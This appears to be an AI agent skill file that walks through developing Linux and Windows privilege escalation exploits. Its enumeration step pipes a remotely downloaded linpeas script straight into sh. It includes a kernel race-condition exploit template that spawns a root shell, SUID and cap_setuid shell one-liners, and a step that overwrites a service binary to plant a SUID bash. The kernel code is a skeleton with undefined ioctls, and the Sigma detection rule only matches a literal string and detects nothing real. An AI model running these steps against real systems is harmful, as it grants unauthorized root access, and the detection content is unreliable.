<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: developing-privilege-escalation-exploits
description: >-
  Develop privilege escalation exploits targeting kernel vulnerabilities, SUID binaries, capability abuse, service misconfigurations, and token manipulation on Linux and Windows systems.
domain: cybersecurity
subdomain: exploit-development
tags:
  - privesc
  - kernel-exploit
  - suid
  - capabilities
  - token-manipulation
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1068", "T1548", "T1134"]
  frameworks: ["MITRE ATT&CK", "Metasploit"]
  tools: ["python3", "pwntools", "gcc", "gdb", "linpeas", "winpeas"]
---

# Developing Privilege Escalation Exploits

## Overview

Privilege escalation exploits elevate access from unprivileged user to root/SYSTEM
by exploiting kernel vulnerabilities, SUID misconfigurations, Linux capabilities,
Windows token manipulation, or service misconfigurations.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `python3` | Security tooling |
| `pwntools` | Security tooling |
| `gcc` | Security tooling |
| `gdb` | Security tooling |
| `linpeas.sh` | Security tooling |
| `winpeas.exe` | Security tooling |
| Low-privilege shell on target system (lab environment) | Environment requirement |
| Kernel version and OS details for exploit selection | Environment requirement |
| Isolated lab — kernel exploits risk system stability | Environment requirement |

## Workflow

### Step 1: Enumeration

```bash
# Linux enumeration
uname -a && cat /etc/os-release
find / -perm -4000 -type f 2>/dev/null  # SUID binaries
getcap -r / 2>/dev/null                  # Linux capabilities
cat /etc/crontab && ls -la /etc/cron.d/  # Cron jobs

# Automated enumeration
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Windows enumeration
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"
whoami /priv
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"

# Agent-assisted enumeration
node scripts/agent.js enumerate --os linux --output privesc_findings.json
```

### Step 2: Kernel Exploit Development

```c
// Example: Race condition in kernel module (Linux)
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static int race_won = 0;
static int fd;

void *racer(void *arg) {
    while (!race_won) {
        // Trigger race window in vulnerable ioctl
        ioctl(fd, VULN_IOCTL, NULL);
    }
    return NULL;
}

int main(void) {
    fd = open("/dev/vuln_device", O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    pthread_t t;
    pthread_create(&t, NULL, racer, NULL);

    // Exploit race to escalate privileges
    for (int i = 0; i < 10000 && !race_won; i++) {
        if (getuid() == 0) { race_won = 1; break; }
        ioctl(fd, TRIGGER_IOCTL, NULL);
    }
    pthread_join(t, NULL);

    if (getuid() == 0) {
        printf("[+] Root shell achieved\n");
        execl("/bin/sh", "sh", NULL);
    }
    return 0;
}
```

### Step 3: SUID/Capability Exploitation

```bash
# Exploit SUID binary with GTFOBins technique
# Example: python3 with SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# Exploit cap_setuid capability
python3 -c 'import os,ctypes; ctypes.CDLL("libc.so.6").setuid(0); os.execl("/bin/sh","sh")'

# Writable service binary path exploitation
echo '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /usr/local/bin/vuln_service
# Wait for service restart, then:
/tmp/rootbash -p
```

### Step 4: Exploit Testing

```bash
# Build and test kernel exploit
gcc -o privesc -pthread -static exploit.c
node scripts/agent.js test --exploit ./privesc --target-kernel "5.15.0-generic"

# Verify privilege escalation
node scripts/agent.js verify --exploit ./privesc --expected-uid 0
```

## Detection

```yaml
title: Privilege Escalation Exploits Detection
id: d4c2d3f9-6810-4744-8ad4-e173cdc0b533
status: experimental
description: Detects suspicious activity related to developing privilege escalation exploits techniques in exploit development context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*developing*privilege*"
  condition: selection
level: critical
tags:
  - attack.t1068
  - attack.t1548
  - attack.t1134
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Privilege Escalation Exploits Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1068, T1548, T1134 |

## Verification

- [ ] Target kernel/OS version matches exploit requirements
- [ ] Exploit achieves stable privilege escalation (>80% success)
- [ ] Kernel exploit tested in VM to avoid host instability
- [ ] Cleanup removes exploit artifacts after escalation
- [ ] Detection signatures for escalation behavior documented

## References

- [GTFOBins](https://gtfobins.github.io/) — Unix binary exploitation reference
- [LOLBAS](https://lolbas-project.github.io/) — Windows living-off-the-land binaries
- [PEASS-ng](https://github.com/peass-ng/PEASS-ng) — Privilege escalation enumeration
